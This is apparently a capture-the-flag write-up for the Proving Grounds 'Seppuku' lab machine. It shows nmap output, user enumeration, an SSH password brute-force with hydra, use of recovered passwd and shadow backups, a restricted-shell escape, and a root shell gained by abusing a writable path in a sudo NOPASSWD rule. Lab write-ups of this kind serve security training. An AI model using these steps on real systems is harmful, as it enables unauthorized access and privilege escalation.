ProvingGrounds - Seppuku

┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p- -A 192.168.203.90

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 23:44 EDT
Nmap scan report for 192.168.203.90
Host is up (0.048s latency).
Not shown: 65527 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 3.0.3
22/tcp   open  ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 cd:55:a8:e4:0f:28:bc:b2:a6:7d:41:76:bb:9f:71:f4 (RSA)
|   256 16:fa:29:e4:e0:8a:2e:7d:37:d2:6f:42:b2:dc:e9:22 (ECDSA)
|_  256 bb:74:e8:97:fa:30:8d:da:f9:5c:99:f0:d9:24:8a:d5 (ED25519)
80/tcp   open  http          nginx 1.14.2
|_http-title: 401 Authorization Required
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Restricted Content
|_http-server-header: nginx/1.14.2
139/tcp  open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn   Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
7080/tcp open  ssl/empowerid LiteSpeed
|_http-server-header: LiteSpeed
|_http-title: Did not follow redirect to https://192.168.203.90:7080/
| ssl-cert: Subject: commonName=seppuku/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US
| Not valid before: 2020-05-13T06:51:35
|_Not valid after:  2022-08-11T06:51:35
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|   spdy/3
|   spdy/2
|_  http/1.1
7601/tcp open  http          Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Seppuku
8088/tcp open  http          LiteSpeed httpd
|_http-server-header: LiteSpeed
|_http-title: Seppuku
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/3%OT=21%CT=1%CU=31019%PV=Y%DS=4%DC=T%G=Y%TM=665E8
OS:DED%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%II=I%TS=A)OPS(O1
OS:=M551ST11NW7%O2=M551ST11NW7%O3=M551NNT11NW7%O4=M551ST11NW7%O5=M551ST11NW
OS:7%O6=M551ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=
OS:Y%DF=Y%T=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=
OS:E012%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: Host: SEPPUKU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-06-04T03:45:44
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: seppuku
|   NetBIOS computer name: SEPPUKU\x00
|   Domain name: \x00
|   FQDN: seppuku
|_  System time: 2024-06-03T23:45:46-04:00
|_clock-skew: mean: 1h20m02s, deviation: 2h18m35s, median: 1s

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   47.21 ms 192.168.45.1
2   47.19 ms 192.168.45.254
3   47.22 ms 192.168.251.1
4   47.76 ms 192.168.203.90

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.91 seconds

http://192.168.203.90:8088/index.php -> web console shell rabbit-hole doesn't work

basic enumeration gave us some files:

┌──(root㉿kali)-[~/boxes/seppuku]
└─# ls -al
total 24
drwxr-xr-x  2 root root 4096 Jun  4 00:21 .
drwxr-xr-x 25 root root 4096 Jun  3 23:38 ..
-rw-r--r--  1 root root 2801 Jun  3 23:52 passwd.bak
-rw-r--r--  1 root root  673 Jun  3 23:57 passwordlist
-rw-r--r--  1 root root 1448 Jun  3 23:53 shadow.bak
-rw-r--r--  1 root root   22 Jun  4 00:21 userlist

enum4linux gave us some users:

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                                       
                                                                                                                                                                                                  
S-1-22-1-1000 Unix User\seppuku (Local User)
S-1-22-1-1001 Unix User\samurai (Local User)
S-1-22-1-1002 Unix User\tanto (Local User)

doing the obvious dogbrained thing of bruteforcing ssh with hydra using the 'password list' we got from the webpage worked just fine

too lazy to do the rest but essentially we have three users (above) - from seppuku we get a password for samurai, from samurai we run sudo -l and we're able to execute a command as root without password:

samurai@seppuku:/home/seppuku$ sudo -l
Matching Defaults entries for samurai on seppuku:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

so we do some magic:

tanto@seppuku:~$ python3 -c "import pty;pty.spawn('/bin/bash')"
tanto@seppuku:~$ 
tanto@seppuku:~$ echo '#!/bin/sh' > .cgi_bin/bin
tanto@seppuku:~$ cat .cgi_bin/bin
#!/bin/sh
tanto@seppuku:~$ echo 'sh' >> .cgi_bin/bin
tanto@seppuku:~$ cat .cgi_bin/bin
#!/bin/sh
sh
tanto@seppuku:~$ chmod +x .cgi_bin/bin

first line escapes the restricted shell (we can't redirect output normally without doing this)

the rest creates the 'script' we use to get root shell

from samurai session we run:

samurai@seppuku:/home/seppuku$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
# whoami
root